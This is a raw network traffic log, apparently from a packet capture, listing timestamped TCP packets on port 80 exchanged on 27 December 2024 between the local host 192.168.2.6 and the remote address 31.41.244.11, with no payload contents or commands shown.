Dec 27, 2024 08:52:13.009813070 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.010113001 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.010160923 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.010216951 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.010260105 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.011464119 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.011480093 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.011523962 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.011540890 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.012470007 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.012543917 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.012834072 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.012882948 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.012938976 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.012989998 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.014023066 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.014079094 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.014122009 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.014168024 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.015188932 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.015233040 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.015278101 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.015324116 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.016391039 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.016437054 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.016470909 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.016510010 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.017551899 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.017605066 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.017642021 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.017684937 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.018732071 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.018780947 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.018819094 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.018857002 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.019886971 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.019979954 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.019979954 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.020030022 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.021047115 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.021105051 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.021162987 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.021213055 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.022253036 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.022303104 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.022334099 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.022499084 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.023391962 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.023438931 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.023509026 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.023552895 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.024575949 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.024626017 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.024692059 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.024765015 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.025791883 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.025841951 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.025880098 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.025923967 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.026947021 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.026994944 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.027038097 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.027079105 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.028070927 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.028115988 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.028197050 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.028243065 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.029273987 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.029320955 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.029359102 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.029447079 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.030453920 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.030502081 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.030539989 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.030584097 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.031610966 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.031660080 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.031733036 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.031780958 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.032804966 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.032852888 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.032871962 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.032908916 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.033981085 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.034027100 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.034064054 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.034109116 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.035147905 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.035200119 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.035235882 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.035280943 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.036313057 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.036358118 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.036429882 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.036475897 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.037486076 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.037657976 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.037755013 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.038645029 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.038697004 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.038753986 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.038800955 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.039828062 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.039881945 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.039921045 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.039963961 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.041029930 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.041078091 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.041111946 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.041153908 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.042181969 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.042228937 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.042290926 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.042335987 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.043366909 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.043416977 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.043456078 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.043505907 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.044542074 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.044601917 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.044635057 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.044675112 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.045711040 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.045783043 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.045813084 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.045859098 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.046860933 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.046921015 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.046957970 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.047002077 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.048033953 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.048086882 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.048118114 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.048163891 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.049206972 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.049256086 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.049318075 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.049357891 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.050393105 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.050440073 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.050477982 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.050523043 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.051568985 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.051630974 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.051662922 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.051702023 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.052721977 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.052777052 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.052848101 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.052891970 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.053915024 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.053960085 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.053997993 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.054357052 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.055083990 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.055130959 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.055179119 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.055224895 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.056251049 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.056298971 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.056339025 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.056380033 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.057420015 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.057470083 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.057518005 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.057563066 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.058604956 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.058656931 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.058814049 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.058857918 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.059766054 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.059814930 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.059880018 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.059921980 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.060942888 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.060993910 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.061032057 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.061083078 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.062130928 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.062177896 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.062232018 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.062272072 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.063288927 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.063344002 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.063384056 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.063425064 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.064452887 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.064507961 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.064569950 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.064611912 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.065671921 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.065753937 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.065774918 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.065814972 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.066833973 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.066875935 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.066926003 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.066948891 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.067981958 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.068034887 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.068125963 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.068171024 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.069178104 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.069228888 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.069328070 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.069376945 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.070533037 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.070590019 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.070616961 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.070677042 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.260287046 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.260305882 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.260411024 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.260767937 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.260828018 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.260883093 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.260926008 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.261869907 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.261924982 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.261955976 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.262000084 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.263020039 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.263081074 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.263118029 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.263194084 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.264228106 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.264290094 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.264292002 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.264355898 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.265372992 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.265510082 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.265543938 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.265574932 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.266554117 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.266635895 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.266653061 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.266701937 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.267726898 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.267819881 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.267827988 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.267879009 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.268903017 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.268991947 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.269016981 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.269079924 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.270095110 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.270167112 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.270169020 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.270212889 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.271262884 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.271337032 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.271367073 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.271411896 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.272406101 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.272492886 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.272524118 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.272576094 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.273592949 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.273667097 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.273684978 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.273730040 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.274755955 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.274817944 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.274844885 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.274907112 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.276000023 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.276026964 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.276060104 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.276076078 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.277111053 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.277169943 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.277209044 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.277251959 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.278285980 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.278347015 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.278373003 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.278417110 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.279488087 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.279546022 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.279578924 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.279594898 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.280623913 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.280683994 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.280774117 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.280819893 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.281789064 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.281842947 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.281891108 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.281936884 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.282983065 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.283039093 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.283077002 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.283119917 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.284171104 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.284233093 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.284270048 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.284315109 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.285327911 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.285383940 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.285423040 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.285485029 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.286489964 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.286552906 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.286587000 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.286629915 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.287661076 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.287722111 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.287759066 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.287803888 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.288824081 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.288882017 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.288938046 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.288990021 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.290014029 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.290076971 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.290107012 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.290148973 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.291177034 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.291239023 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.291268110 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.291306019 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.292354107 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.292417049 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.292453051 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.292496920 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.293580055 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.293642044 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.293647051 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.293673992 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.294738054 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.294796944 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.294806957 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.294884920 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.295877934 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.295948029 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.295953035 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.295989037 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.297054052 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:13.297116041 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:13.297159910 CET	80	49949	31.41.244.11	192.168.2.6
